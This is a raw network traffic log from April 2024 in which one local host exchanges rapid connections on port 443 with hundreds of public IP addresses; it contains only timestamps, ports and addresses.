Apr 14, 2024 03:59:53.102705956 CEST	2135	443	192.168.2.23	148.128.249.111
Apr 14, 2024 03:59:53.102708101 CEST	2135	443	192.168.2.23	212.96.185.218
Apr 14, 2024 03:59:53.102719069 CEST	2135	443	192.168.2.23	210.235.136.69
Apr 14, 2024 03:59:53.102721930 CEST	2135	443	192.168.2.23	5.135.173.193
Apr 14, 2024 03:59:53.102721930 CEST	2135	443	192.168.2.23	118.154.140.46
Apr 14, 2024 03:59:53.102725029 CEST	443	2135	210.235.136.69	192.168.2.23
Apr 14, 2024 03:59:53.102726936 CEST	2135	443	192.168.2.23	42.19.231.135
Apr 14, 2024 03:59:53.102730989 CEST	443	2135	5.135.173.193	192.168.2.23
Apr 14, 2024 03:59:53.102730989 CEST	2135	443	192.168.2.23	202.158.44.174
Apr 14, 2024 03:59:53.102744102 CEST	443	2135	118.154.140.46	192.168.2.23
Apr 14, 2024 03:59:53.102746010 CEST	443	2135	202.158.44.174	192.168.2.23
Apr 14, 2024 03:59:53.102754116 CEST	2135	443	192.168.2.23	2.72.5.193
Apr 14, 2024 03:59:53.102761030 CEST	443	2135	2.72.5.193	192.168.2.23
Apr 14, 2024 03:59:53.102762938 CEST	2135	443	192.168.2.23	210.235.136.69
Apr 14, 2024 03:59:53.102768898 CEST	2135	443	192.168.2.23	117.111.44.50
Apr 14, 2024 03:59:53.102768898 CEST	2135	443	192.168.2.23	42.64.55.126
Apr 14, 2024 03:59:53.102768898 CEST	2135	443	192.168.2.23	5.135.173.193
Apr 14, 2024 03:59:53.102772951 CEST	2135	443	192.168.2.23	109.185.199.125
Apr 14, 2024 03:59:53.102778912 CEST	443	2135	117.111.44.50	192.168.2.23
Apr 14, 2024 03:59:53.102781057 CEST	443	2135	109.185.199.125	192.168.2.23
Apr 14, 2024 03:59:53.102785110 CEST	2135	443	192.168.2.23	202.158.44.174
Apr 14, 2024 03:59:53.102787018 CEST	443	2135	42.64.55.126	192.168.2.23
Apr 14, 2024 03:59:53.102787971 CEST	2135	443	192.168.2.23	118.154.140.46
Apr 14, 2024 03:59:53.102790117 CEST	2135	443	192.168.2.23	94.176.195.31
Apr 14, 2024 03:59:53.102791071 CEST	2135	443	192.168.2.23	212.76.55.87
Apr 14, 2024 03:59:53.102791071 CEST	2135	443	192.168.2.23	79.46.154.33
Apr 14, 2024 03:59:53.102791071 CEST	2135	443	192.168.2.23	42.214.103.65
Apr 14, 2024 03:59:53.102791071 CEST	2135	443	192.168.2.23	118.179.26.108
Apr 14, 2024 03:59:53.102791071 CEST	2135	443	192.168.2.23	118.43.83.122
Apr 14, 2024 03:59:53.102791071 CEST	2135	443	192.168.2.23	109.107.200.125
Apr 14, 2024 03:59:53.102791071 CEST	2135	443	192.168.2.23	178.27.106.189
Apr 14, 2024 03:59:53.102799892 CEST	2135	443	192.168.2.23	2.72.5.193
Apr 14, 2024 03:59:53.102802038 CEST	2135	443	192.168.2.23	178.117.41.168
Apr 14, 2024 03:59:53.102807045 CEST	2135	443	192.168.2.23	79.57.18.228
Apr 14, 2024 03:59:53.102806091 CEST	2135	443	192.168.2.23	42.102.141.131
Apr 14, 2024 03:59:53.102807999 CEST	443	2135	178.117.41.168	192.168.2.23
Apr 14, 2024 03:59:53.102813005 CEST	443	2135	79.57.18.228	192.168.2.23
Apr 14, 2024 03:59:53.102813959 CEST	443	2135	42.102.141.131	192.168.2.23
Apr 14, 2024 03:59:53.102814913 CEST	443	2135	212.76.55.87	192.168.2.23
Apr 14, 2024 03:59:53.102818966 CEST	443	2135	42.214.103.65	192.168.2.23
Apr 14, 2024 03:59:53.102819920 CEST	2135	443	192.168.2.23	117.111.44.50
Apr 14, 2024 03:59:53.102823019 CEST	443	2135	79.46.154.33	192.168.2.23
Apr 14, 2024 03:59:53.102823973 CEST	443	2135	118.179.26.108	192.168.2.23
Apr 14, 2024 03:59:53.102828979 CEST	443	2135	118.43.83.122	192.168.2.23
Apr 14, 2024 03:59:53.102828979 CEST	2135	443	192.168.2.23	42.64.55.126
Apr 14, 2024 03:59:53.102837086 CEST	443	2135	109.107.200.125	192.168.2.23
Apr 14, 2024 03:59:53.102844000 CEST	443	2135	178.27.106.189	192.168.2.23
Apr 14, 2024 03:59:53.102848053 CEST	2135	443	192.168.2.23	117.191.160.205
Apr 14, 2024 03:59:53.102849960 CEST	2135	443	192.168.2.23	109.185.199.125
Apr 14, 2024 03:59:53.102849960 CEST	2135	443	192.168.2.23	42.102.141.131
Apr 14, 2024 03:59:53.102850914 CEST	2135	443	192.168.2.23	212.221.18.202
Apr 14, 2024 03:59:53.102850914 CEST	2135	443	192.168.2.23	210.170.50.216
Apr 14, 2024 03:59:53.102850914 CEST	2135	443	192.168.2.23	79.92.106.154
Apr 14, 2024 03:59:53.102852106 CEST	2135	443	192.168.2.23	42.92.69.207
Apr 14, 2024 03:59:53.102852106 CEST	2135	443	192.168.2.23	2.61.246.57
Apr 14, 2024 03:59:53.102852106 CEST	2135	443	192.168.2.23	148.27.37.163
Apr 14, 2024 03:59:53.102852106 CEST	2135	443	192.168.2.23	42.214.103.65
Apr 14, 2024 03:59:53.102858067 CEST	443	2135	117.191.160.205	192.168.2.23
Apr 14, 2024 03:59:53.102860928 CEST	2135	443	192.168.2.23	178.117.41.168
Apr 14, 2024 03:59:53.102861881 CEST	443	2135	212.221.18.202	192.168.2.23
Apr 14, 2024 03:59:53.102870941 CEST	2135	443	192.168.2.23	79.57.18.228
Apr 14, 2024 03:59:53.102871895 CEST	2135	443	192.168.2.23	210.211.127.76
Apr 14, 2024 03:59:53.102871895 CEST	443	2135	210.170.50.216	192.168.2.23
Apr 14, 2024 03:59:53.102873087 CEST	2135	443	192.168.2.23	210.96.18.28
Apr 14, 2024 03:59:53.102880001 CEST	443	2135	210.211.127.76	192.168.2.23
Apr 14, 2024 03:59:53.102881908 CEST	443	2135	79.92.106.154	192.168.2.23
Apr 14, 2024 03:59:53.102883101 CEST	2135	443	192.168.2.23	79.173.106.105
Apr 14, 2024 03:59:53.102884054 CEST	443	2135	210.96.18.28	192.168.2.23
Apr 14, 2024 03:59:53.102890015 CEST	443	2135	42.92.69.207	192.168.2.23
Apr 14, 2024 03:59:53.102893114 CEST	443	2135	79.173.106.105	192.168.2.23
Apr 14, 2024 03:59:53.102899075 CEST	443	2135	2.61.246.57	192.168.2.23
Apr 14, 2024 03:59:53.102902889 CEST	2135	443	192.168.2.23	117.191.160.205
Apr 14, 2024 03:59:53.102906942 CEST	443	2135	148.27.37.163	192.168.2.23
Apr 14, 2024 03:59:53.102906942 CEST	2135	443	192.168.2.23	210.211.127.76
Apr 14, 2024 03:59:53.102911949 CEST	2135	443	192.168.2.23	148.103.76.61
Apr 14, 2024 03:59:53.102917910 CEST	2135	443	192.168.2.23	210.96.18.28
Apr 14, 2024 03:59:53.102919102 CEST	443	2135	148.103.76.61	192.168.2.23
Apr 14, 2024 03:59:53.102927923 CEST	2135	443	192.168.2.23	79.173.106.105
Apr 14, 2024 03:59:53.102936983 CEST	2135	443	192.168.2.23	2.36.0.103
Apr 14, 2024 03:59:53.102942944 CEST	443	2135	2.36.0.103	192.168.2.23
Apr 14, 2024 03:59:53.102950096 CEST	2135	443	192.168.2.23	148.103.76.61
Apr 14, 2024 03:59:53.102966070 CEST	2135	443	192.168.2.23	109.28.118.165
Apr 14, 2024 03:59:53.102967978 CEST	2135	443	192.168.2.23	5.255.167.118
Apr 14, 2024 03:59:53.102972984 CEST	443	2135	109.28.118.165	192.168.2.23
Apr 14, 2024 03:59:53.102976084 CEST	443	2135	5.255.167.118	192.168.2.23
Apr 14, 2024 03:59:53.102981091 CEST	2135	443	192.168.2.23	2.36.0.103
Apr 14, 2024 03:59:53.102987051 CEST	2135	443	192.168.2.23	79.137.147.255
Apr 14, 2024 03:59:53.102993011 CEST	443	2135	79.137.147.255	192.168.2.23
Apr 14, 2024 03:59:53.103002071 CEST	2135	443	192.168.2.23	148.161.143.90
Apr 14, 2024 03:59:53.103003025 CEST	2135	443	192.168.2.23	148.246.101.35
Apr 14, 2024 03:59:53.103004932 CEST	2135	443	192.168.2.23	148.178.213.61
Apr 14, 2024 03:59:53.103004932 CEST	2135	443	192.168.2.23	5.255.167.118
Apr 14, 2024 03:59:53.103007078 CEST	443	2135	148.161.143.90	192.168.2.23
Apr 14, 2024 03:59:53.103010893 CEST	443	2135	148.246.101.35	192.168.2.23
Apr 14, 2024 03:59:53.103013992 CEST	2135	443	192.168.2.23	109.28.118.165
Apr 14, 2024 03:59:53.103018999 CEST	2135	443	192.168.2.23	123.157.159.204
Apr 14, 2024 03:59:53.103019953 CEST	443	2135	148.178.213.61	192.168.2.23
Apr 14, 2024 03:59:53.103020906 CEST	2135	443	192.168.2.23	212.153.30.25
Apr 14, 2024 03:59:53.103025913 CEST	443	2135	123.157.159.204	192.168.2.23
Apr 14, 2024 03:59:53.103027105 CEST	2135	443	192.168.2.23	178.39.66.206
Apr 14, 2024 03:59:53.103029966 CEST	443	2135	212.153.30.25	192.168.2.23
Apr 14, 2024 03:59:53.103034973 CEST	443	2135	178.39.66.206	192.168.2.23
Apr 14, 2024 03:59:53.103039026 CEST	2135	443	192.168.2.23	79.137.147.255
Apr 14, 2024 03:59:53.103039026 CEST	2135	443	192.168.2.23	148.161.143.90
Apr 14, 2024 03:59:53.103041887 CEST	2135	443	192.168.2.23	37.168.57.192
Apr 14, 2024 03:59:53.103041887 CEST	2135	443	192.168.2.23	178.205.198.28
Apr 14, 2024 03:59:53.103048086 CEST	443	2135	178.205.198.28	192.168.2.23
Apr 14, 2024 03:59:53.103048086 CEST	443	2135	37.168.57.192	192.168.2.23
Apr 14, 2024 03:59:53.103049040 CEST	2135	443	192.168.2.23	210.39.9.252
Apr 14, 2024 03:59:53.103049040 CEST	2135	443	192.168.2.23	148.178.213.61
Apr 14, 2024 03:59:53.103055000 CEST	2135	443	192.168.2.23	148.246.101.35
Apr 14, 2024 03:59:53.103055000 CEST	2135	443	192.168.2.23	79.46.154.33
Apr 14, 2024 03:59:53.103055000 CEST	2135	443	192.168.2.23	212.76.55.87
Apr 14, 2024 03:59:53.103055000 CEST	2135	443	192.168.2.23	118.179.26.108
Apr 14, 2024 03:59:53.103055000 CEST	2135	443	192.168.2.23	118.43.83.122
Apr 14, 2024 03:59:53.103055000 CEST	2135	443	192.168.2.23	109.107.200.125
Apr 14, 2024 03:59:53.103055000 CEST	2135	443	192.168.2.23	210.170.50.216
Apr 14, 2024 03:59:53.103055000 CEST	2135	443	192.168.2.23	178.27.106.189
Apr 14, 2024 03:59:53.103055000 CEST	2135	443	192.168.2.23	212.221.18.202
Apr 14, 2024 03:59:53.103058100 CEST	443	2135	210.39.9.252	192.168.2.23
Apr 14, 2024 03:59:53.103059053 CEST	2135	443	192.168.2.23	212.153.30.25
Apr 14, 2024 03:59:53.103064060 CEST	2135	443	192.168.2.23	123.157.159.204
Apr 14, 2024 03:59:53.103066921 CEST	2135	443	192.168.2.23	79.92.106.154
Apr 14, 2024 03:59:53.103066921 CEST	2135	443	192.168.2.23	178.39.66.206
Apr 14, 2024 03:59:53.103066921 CEST	2135	443	192.168.2.23	42.92.69.207
Apr 14, 2024 03:59:53.103066921 CEST	2135	443	192.168.2.23	148.27.37.163
Apr 14, 2024 03:59:53.103066921 CEST	2135	443	192.168.2.23	2.61.246.57
Apr 14, 2024 03:59:53.103066921 CEST	2135	443	192.168.2.23	5.34.161.162
Apr 14, 2024 03:59:53.103066921 CEST	2135	443	192.168.2.23	5.197.20.198
Apr 14, 2024 03:59:53.103079081 CEST	443	2135	5.34.161.162	192.168.2.23
Apr 14, 2024 03:59:53.103081942 CEST	2135	443	192.168.2.23	37.11.17.195
Apr 14, 2024 03:59:53.103087902 CEST	443	2135	37.11.17.195	192.168.2.23
Apr 14, 2024 03:59:53.103087902 CEST	443	2135	5.197.20.198	192.168.2.23
Apr 14, 2024 03:59:53.103090048 CEST	2135	443	192.168.2.23	37.168.57.192
Apr 14, 2024 03:59:53.103090048 CEST	2135	443	192.168.2.23	148.87.92.173
Apr 14, 2024 03:59:53.103094101 CEST	2135	443	192.168.2.23	210.39.9.252
Apr 14, 2024 03:59:53.103094101 CEST	2135	443	192.168.2.23	5.29.222.192
Apr 14, 2024 03:59:53.103094101 CEST	2135	443	192.168.2.23	2.5.72.5
Apr 14, 2024 03:59:53.103094101 CEST	2135	443	192.168.2.23	79.77.8.83
Apr 14, 2024 03:59:53.103096008 CEST	2135	443	192.168.2.23	178.205.198.28
Apr 14, 2024 03:59:53.103096962 CEST	443	2135	148.87.92.173	192.168.2.23
Apr 14, 2024 03:59:53.103106022 CEST	443	2135	5.29.222.192	192.168.2.23
Apr 14, 2024 03:59:53.103116035 CEST	2135	443	192.168.2.23	118.221.162.114
Apr 14, 2024 03:59:53.103116035 CEST	2135	443	192.168.2.23	178.80.201.26
Apr 14, 2024 03:59:53.103118896 CEST	2135	443	192.168.2.23	42.152.54.141
Apr 14, 2024 03:59:53.103120089 CEST	443	2135	2.5.72.5	192.168.2.23
Apr 14, 2024 03:59:53.103121996 CEST	443	2135	118.221.162.114	192.168.2.23
Apr 14, 2024 03:59:53.103123903 CEST	443	2135	178.80.201.26	192.168.2.23
Apr 14, 2024 03:59:53.103126049 CEST	443	2135	79.77.8.83	192.168.2.23
Apr 14, 2024 03:59:53.103127956 CEST	443	2135	42.152.54.141	192.168.2.23
Apr 14, 2024 03:59:53.103135109 CEST	2135	443	192.168.2.23	37.11.17.195
Apr 14, 2024 03:59:53.103135109 CEST	2135	443	192.168.2.23	94.201.84.121
Apr 14, 2024 03:59:53.103140116 CEST	2135	443	192.168.2.23	109.251.4.140
Apr 14, 2024 03:59:53.103141069 CEST	2135	443	192.168.2.23	148.57.206.187
Apr 14, 2024 03:59:53.103142023 CEST	2135	443	192.168.2.23	123.118.177.81
Apr 14, 2024 03:59:53.103142023 CEST	443	2135	94.201.84.121	192.168.2.23
Apr 14, 2024 03:59:53.103146076 CEST	2135	443	192.168.2.23	148.87.92.173
Apr 14, 2024 03:59:53.103147030 CEST	443	2135	123.118.177.81	192.168.2.23
Apr 14, 2024 03:59:53.103152037 CEST	443	2135	109.251.4.140	192.168.2.23
Apr 14, 2024 03:59:53.103153944 CEST	443	2135	148.57.206.187	192.168.2.23
Apr 14, 2024 03:59:53.103166103 CEST	2135	443	192.168.2.23	118.221.162.114
Apr 14, 2024 03:59:53.103167057 CEST	2135	443	192.168.2.23	42.152.54.141
Apr 14, 2024 03:59:53.103167057 CEST	2135	443	192.168.2.23	79.77.8.83
Apr 14, 2024 03:59:53.103168011 CEST	2135	443	192.168.2.23	5.29.222.192
Apr 14, 2024 03:59:53.103168011 CEST	2135	443	192.168.2.23	2.5.72.5
Apr 14, 2024 03:59:53.103179932 CEST	2135	443	192.168.2.23	178.80.201.26
Apr 14, 2024 03:59:53.103190899 CEST	2135	443	192.168.2.23	123.118.177.81
Apr 14, 2024 03:59:53.103192091 CEST	2135	443	192.168.2.23	94.201.84.121
Apr 14, 2024 03:59:53.103193998 CEST	2135	443	192.168.2.23	109.251.4.140
Apr 14, 2024 03:59:53.103215933 CEST	2135	443	192.168.2.23	94.9.26.232
Apr 14, 2024 03:59:53.103215933 CEST	2135	443	192.168.2.23	148.120.127.81
Apr 14, 2024 03:59:53.103215933 CEST	2135	443	192.168.2.23	212.250.159.74
Apr 14, 2024 03:59:53.103220940 CEST	2135	443	192.168.2.23	94.84.107.199
Apr 14, 2024 03:59:53.103223085 CEST	2135	443	192.168.2.23	148.57.206.187
Apr 14, 2024 03:59:53.103225946 CEST	443	2135	148.120.127.81	192.168.2.23
Apr 14, 2024 03:59:53.103231907 CEST	443	2135	94.9.26.232	192.168.2.23
Apr 14, 2024 03:59:53.103231907 CEST	443	2135	94.84.107.199	192.168.2.23
Apr 14, 2024 03:59:53.103233099 CEST	443	2135	212.250.159.74	192.168.2.23
Apr 14, 2024 03:59:53.103235960 CEST	2135	443	192.168.2.23	5.103.64.201
Apr 14, 2024 03:59:53.103240013 CEST	2135	443	192.168.2.23	2.221.129.207
Apr 14, 2024 03:59:53.103245020 CEST	443	2135	2.221.129.207	192.168.2.23
Apr 14, 2024 03:59:53.103246927 CEST	2135	443	192.168.2.23	202.31.131.228
Apr 14, 2024 03:59:53.103247881 CEST	443	2135	5.103.64.201	192.168.2.23
Apr 14, 2024 03:59:53.103247881 CEST	2135	443	192.168.2.23	123.18.148.14
Apr 14, 2024 03:59:53.103255033 CEST	443	2135	123.18.148.14	192.168.2.23
Apr 14, 2024 03:59:53.103255987 CEST	443	2135	202.31.131.228	192.168.2.23
Apr 14, 2024 03:59:53.103262901 CEST	2135	443	192.168.2.23	94.84.107.199
Apr 14, 2024 03:59:53.103262901 CEST	2135	443	192.168.2.23	148.120.127.81
Apr 14, 2024 03:59:53.103275061 CEST	2135	443	192.168.2.23	94.9.26.232
Apr 14, 2024 03:59:53.103277922 CEST	2135	443	192.168.2.23	212.250.159.74
Apr 14, 2024 03:59:53.103280067 CEST	2135	443	192.168.2.23	2.221.129.207
Apr 14, 2024 03:59:53.103291035 CEST	2135	443	192.168.2.23	123.18.148.14
Apr 14, 2024 03:59:53.103291035 CEST	2135	443	192.168.2.23	5.103.64.201
Apr 14, 2024 03:59:53.103302002 CEST	2135	443	192.168.2.23	202.31.131.228
Apr 14, 2024 03:59:53.103315115 CEST	2135	443	192.168.2.23	210.187.108.199
Apr 14, 2024 03:59:53.103317976 CEST	2135	443	192.168.2.23	178.134.77.101
Apr 14, 2024 03:59:53.103318930 CEST	2135	443	192.168.2.23	212.43.3.25
Apr 14, 2024 03:59:53.103322983 CEST	443	2135	210.187.108.199	192.168.2.23
Apr 14, 2024 03:59:53.103327036 CEST	2135	443	192.168.2.23	117.174.243.13
Apr 14, 2024 03:59:53.103327036 CEST	443	2135	212.43.3.25	192.168.2.23
Apr 14, 2024 03:59:53.103327036 CEST	443	2135	178.134.77.101	192.168.2.23
Apr 14, 2024 03:59:53.103332043 CEST	443	2135	117.174.243.13	192.168.2.23
Apr 14, 2024 03:59:53.103338957 CEST	2135	443	192.168.2.23	123.186.37.163
Apr 14, 2024 03:59:53.103348970 CEST	2135	443	192.168.2.23	2.116.145.101
Apr 14, 2024 03:59:53.103348970 CEST	443	2135	123.186.37.163	192.168.2.23
Apr 14, 2024 03:59:53.103353977 CEST	443	2135	2.116.145.101	192.168.2.23
Apr 14, 2024 03:59:53.103359938 CEST	2135	443	192.168.2.23	117.94.51.163
Apr 14, 2024 03:59:53.103360891 CEST	2135	443	192.168.2.23	2.126.85.86
Apr 14, 2024 03:59:53.103368998 CEST	443	2135	117.94.51.163	192.168.2.23
Apr 14, 2024 03:59:53.103369951 CEST	2135	443	192.168.2.23	178.134.77.101
Apr 14, 2024 03:59:53.103370905 CEST	443	2135	2.126.85.86	192.168.2.23
Apr 14, 2024 03:59:53.103373051 CEST	2135	443	192.168.2.23	117.174.243.13
Apr 14, 2024 03:59:53.103380919 CEST	2135	443	192.168.2.23	212.43.3.25
Apr 14, 2024 03:59:53.103383064 CEST	2135	443	192.168.2.23	210.187.108.199
Apr 14, 2024 03:59:53.103387117 CEST	2135	443	192.168.2.23	123.186.37.163
Apr 14, 2024 03:59:53.103387117 CEST	2135	443	192.168.2.23	2.116.145.101
Apr 14, 2024 03:59:53.103395939 CEST	2135	443	192.168.2.23	148.118.126.194
Apr 14, 2024 03:59:53.103403091 CEST	2135	443	192.168.2.23	2.126.85.86
Apr 14, 2024 03:59:53.103404045 CEST	443	2135	148.118.126.194	192.168.2.23
Apr 14, 2024 03:59:53.103404999 CEST	2135	443	192.168.2.23	117.94.51.163
Apr 14, 2024 03:59:53.103423119 CEST	2135	443	192.168.2.23	79.246.6.252
Apr 14, 2024 03:59:53.103425980 CEST	2135	443	192.168.2.23	94.95.1.223
Apr 14, 2024 03:59:53.103425980 CEST	2135	443	192.168.2.23	37.184.130.239
Apr 14, 2024 03:59:53.103430033 CEST	443	2135	79.246.6.252	192.168.2.23
Apr 14, 2024 03:59:53.103430033 CEST	2135	443	192.168.2.23	79.150.156.49
Apr 14, 2024 03:59:53.103430033 CEST	2135	443	192.168.2.23	210.235.99.36
Apr 14, 2024 03:59:53.103432894 CEST	443	2135	94.95.1.223	192.168.2.23
Apr 14, 2024 03:59:53.103437901 CEST	443	2135	79.150.156.49	192.168.2.23
Apr 14, 2024 03:59:53.103439093 CEST	2135	443	192.168.2.23	210.213.169.174
Apr 14, 2024 03:59:53.103441954 CEST	443	2135	37.184.130.239	192.168.2.23
Apr 14, 2024 03:59:53.103442907 CEST	2135	443	192.168.2.23	109.146.103.158
Apr 14, 2024 03:59:53.103442907 CEST	2135	443	192.168.2.23	117.137.105.129
Apr 14, 2024 03:59:53.103447914 CEST	443	2135	210.213.169.174	192.168.2.23
Apr 14, 2024 03:59:53.103449106 CEST	2135	443	192.168.2.23	94.81.118.169
Apr 14, 2024 03:59:53.103451967 CEST	443	2135	109.146.103.158	192.168.2.23
Apr 14, 2024 03:59:53.103457928 CEST	443	2135	210.235.99.36	192.168.2.23
Apr 14, 2024 03:59:53.103460073 CEST	443	2135	94.81.118.169	192.168.2.23
Apr 14, 2024 03:59:53.103461027 CEST	443	2135	117.137.105.129	192.168.2.23
Apr 14, 2024 03:59:53.103462934 CEST	2135	443	192.168.2.23	94.95.1.223
Apr 14, 2024 03:59:53.103466034 CEST	2135	443	192.168.2.23	148.118.126.194
Apr 14, 2024 03:59:53.103468895 CEST	2135	443	192.168.2.23	79.150.156.49
Apr 14, 2024 03:59:53.103468895 CEST	2135	443	192.168.2.23	37.184.130.239
Apr 14, 2024 03:59:53.103472948 CEST	2135	443	192.168.2.23	79.246.6.252
Apr 14, 2024 03:59:53.103472948 CEST	2135	443	192.168.2.23	109.146.103.158
Apr 14, 2024 03:59:53.103485107 CEST	2135	443	192.168.2.23	117.218.172.54
Apr 14, 2024 03:59:53.103485107 CEST	2135	443	192.168.2.23	94.166.190.106
Apr 14, 2024 03:59:53.103493929 CEST	2135	443	192.168.2.23	210.235.99.36
Apr 14, 2024 03:59:53.103494883 CEST	443	2135	117.218.172.54	192.168.2.23
Apr 14, 2024 03:59:53.103502035 CEST	2135	443	192.168.2.23	210.213.169.174
Apr 14, 2024 03:59:53.103502035 CEST	2135	443	192.168.2.23	94.81.118.169
Apr 14, 2024 03:59:53.103507996 CEST	443	2135	94.166.190.106	192.168.2.23
Apr 14, 2024 03:59:53.103513002 CEST	2135	443	192.168.2.23	117.137.105.129
Apr 14, 2024 03:59:53.103517056 CEST	2135	443	192.168.2.23	148.32.5.65
Apr 14, 2024 03:59:53.103528023 CEST	443	2135	148.32.5.65	192.168.2.23
Apr 14, 2024 03:59:53.103538036 CEST	2135	443	192.168.2.23	2.142.81.222
Apr 14, 2024 03:59:53.103538036 CEST	2135	443	192.168.2.23	118.164.191.225
Apr 14, 2024 03:59:53.103545904 CEST	2135	443	192.168.2.23	118.113.12.198
Apr 14, 2024 03:59:53.103547096 CEST	443	2135	2.142.81.222	192.168.2.23
Apr 14, 2024 03:59:53.103547096 CEST	2135	443	192.168.2.23	202.151.34.243
Apr 14, 2024 03:59:53.103547096 CEST	2135	443	192.168.2.23	117.218.172.54
Apr 14, 2024 03:59:53.103550911 CEST	443	2135	118.113.12.198	192.168.2.23
Apr 14, 2024 03:59:53.103550911 CEST	2135	443	192.168.2.23	178.13.128.57
Apr 14, 2024 03:59:53.103554964 CEST	2135	443	192.168.2.23	118.1.84.217
Apr 14, 2024 03:59:53.103554964 CEST	443	2135	202.151.34.243	192.168.2.23
Apr 14, 2024 03:59:53.103558064 CEST	443	2135	178.13.128.57	192.168.2.23
Apr 14, 2024 03:59:53.103560925 CEST	443	2135	118.164.191.225	192.168.2.23
Apr 14, 2024 03:59:53.103564978 CEST	443	2135	118.1.84.217	192.168.2.23
Apr 14, 2024 03:59:53.103569984 CEST	2135	443	192.168.2.23	123.118.222.0
Apr 14, 2024 03:59:53.103569984 CEST	2135	443	192.168.2.23	210.144.226.134
Apr 14, 2024 03:59:53.103569984 CEST	2135	443	192.168.2.23	148.32.5.65
Apr 14, 2024 03:59:53.103576899 CEST	443	2135	210.144.226.134	192.168.2.23
Apr 14, 2024 03:59:53.103579998 CEST	443	2135	123.118.222.0	192.168.2.23
Apr 14, 2024 03:59:53.103590965 CEST	2135	443	192.168.2.23	94.166.190.106
Apr 14, 2024 03:59:53.103591919 CEST	2135	443	192.168.2.23	118.113.12.198
Apr 14, 2024 03:59:53.103593111 CEST	2135	443	192.168.2.23	2.142.81.222
Apr 14, 2024 03:59:53.103595972 CEST	2135	443	192.168.2.23	202.49.40.93
Apr 14, 2024 03:59:53.103598118 CEST	2135	443	192.168.2.23	178.13.128.57
Apr 14, 2024 03:59:53.103600979 CEST	2135	443	192.168.2.23	210.144.226.134
Apr 14, 2024 03:59:53.103604078 CEST	2135	443	192.168.2.23	118.164.191.225
Apr 14, 2024 03:59:53.103607893 CEST	443	2135	202.49.40.93	192.168.2.23
Apr 14, 2024 03:59:53.103611946 CEST	2135	443	192.168.2.23	202.151.34.243
Apr 14, 2024 03:59:53.103622913 CEST	2135	443	192.168.2.23	118.1.84.217
Apr 14, 2024 03:59:53.103625059 CEST	2135	443	192.168.2.23	94.231.53.139
Apr 14, 2024 03:59:53.103626966 CEST	2135	443	192.168.2.23	123.118.222.0
Apr 14, 2024 03:59:53.103626966 CEST	2135	443	192.168.2.23	212.254.55.171
Apr 14, 2024 03:59:53.103631020 CEST	443	2135	94.231.53.139	192.168.2.23
Apr 14, 2024 03:59:53.103638887 CEST	443	2135	212.254.55.171	192.168.2.23
Apr 14, 2024 03:59:53.103641987 CEST	2135	443	192.168.2.23	212.231.173.112
Apr 14, 2024 03:59:53.103647947 CEST	2135	443	192.168.2.23	202.49.40.93
Apr 14, 2024 03:59:53.103650093 CEST	443	2135	212.231.173.112	192.168.2.23
Apr 14, 2024 03:59:53.103656054 CEST	2135	443	192.168.2.23	148.75.120.152
Apr 14, 2024 03:59:53.103666067 CEST	443	2135	148.75.120.152	192.168.2.23
Apr 14, 2024 03:59:53.103667974 CEST	2135	443	192.168.2.23	94.231.53.139
Apr 14, 2024 03:59:53.103677034 CEST	2135	443	192.168.2.23	212.254.55.171
Apr 14, 2024 03:59:53.103679895 CEST	2135	443	192.168.2.23	79.21.185.209
Apr 14, 2024 03:59:53.103688955 CEST	443	2135	79.21.185.209	192.168.2.23
Apr 14, 2024 03:59:53.103689909 CEST	2135	443	192.168.2.23	212.231.173.112
Apr 14, 2024 03:59:53.103709936 CEST	2135	443	192.168.2.23	148.75.120.152
Apr 14, 2024 03:59:53.103713989 CEST	2135	443	192.168.2.23	109.116.187.49
Apr 14, 2024 03:59:53.103713989 CEST	2135	443	192.168.2.23	123.197.211.157
Apr 14, 2024 03:59:53.103719950 CEST	2135	443	192.168.2.23	148.193.74.207
Apr 14, 2024 03:59:53.103723049 CEST	443	2135	109.116.187.49	192.168.2.23
Apr 14, 2024 03:59:53.103729963 CEST	443	2135	148.193.74.207	192.168.2.23
Apr 14, 2024 03:59:53.103734970 CEST	443	2135	123.197.211.157	192.168.2.23
Apr 14, 2024 03:59:53.103737116 CEST	2135	443	192.168.2.23	79.21.185.209
Apr 14, 2024 03:59:53.103739023 CEST	2135	443	192.168.2.23	2.120.164.59
Apr 14, 2024 03:59:53.103744984 CEST	2135	443	192.168.2.23	42.48.59.248
Apr 14, 2024 03:59:53.103745937 CEST	443	2135	2.120.164.59	192.168.2.23
Apr 14, 2024 03:59:53.103751898 CEST	443	2135	42.48.59.248	192.168.2.23
Apr 14, 2024 03:59:53.103755951 CEST	2135	443	192.168.2.23	2.195.72.99
Apr 14, 2024 03:59:53.103755951 CEST	2135	443	192.168.2.23	5.34.161.162
Apr 14, 2024 03:59:53.103755951 CEST	2135	443	192.168.2.23	212.231.102.46
Apr 14, 2024 03:59:53.103755951 CEST	2135	443	192.168.2.23	5.197.20.198
Apr 14, 2024 03:59:53.103755951 CEST	2135	443	192.168.2.23	79.193.68.153
Apr 14, 2024 03:59:53.103755951 CEST	2135	443	192.168.2.23	42.31.26.42
Apr 14, 2024 03:59:53.103755951 CEST	2135	443	192.168.2.23	148.172.5.235
Apr 14, 2024 03:59:53.103755951 CEST	2135	443	192.168.2.23	123.74.181.83
Apr 14, 2024 03:59:53.103759050 CEST	2135	443	192.168.2.23	109.116.187.49
Apr 14, 2024 03:59:53.103761911 CEST	2135	443	192.168.2.23	148.193.74.207
Apr 14, 2024 03:59:53.103769064 CEST	2135	443	192.168.2.23	123.197.211.157
Apr 14, 2024 03:59:53.103773117 CEST	2135	443	192.168.2.23	178.143.229.170
Apr 14, 2024 03:59:53.103774071 CEST	443	2135	2.195.72.99	192.168.2.23
Apr 14, 2024 03:59:53.103780985 CEST	443	2135	178.143.229.170	192.168.2.23
Apr 14, 2024 03:59:53.103787899 CEST	443	2135	212.231.102.46	192.168.2.23
Apr 14, 2024 03:59:53.103787899 CEST	2135	443	192.168.2.23	42.48.59.248
Apr 14, 2024 03:59:53.103789091 CEST	2135	443	192.168.2.23	2.120.164.59
Apr 14, 2024 03:59:53.103797913 CEST	443	2135	79.193.68.153	192.168.2.23
Apr 14, 2024 03:59:53.103799105 CEST	2135	443	192.168.2.23	37.102.198.89
Apr 14, 2024 03:59:53.103801012 CEST	2135	443	192.168.2.23	210.93.187.179
Apr 14, 2024 03:59:53.103805065 CEST	443	2135	37.102.198.89	192.168.2.23
Apr 14, 2024 03:59:53.103806973 CEST	443	2135	210.93.187.179	192.168.2.23
Apr 14, 2024 03:59:53.103806973 CEST	443	2135	42.31.26.42	192.168.2.23
Apr 14, 2024 03:59:53.103812933 CEST	443	2135	148.172.5.235	192.168.2.23
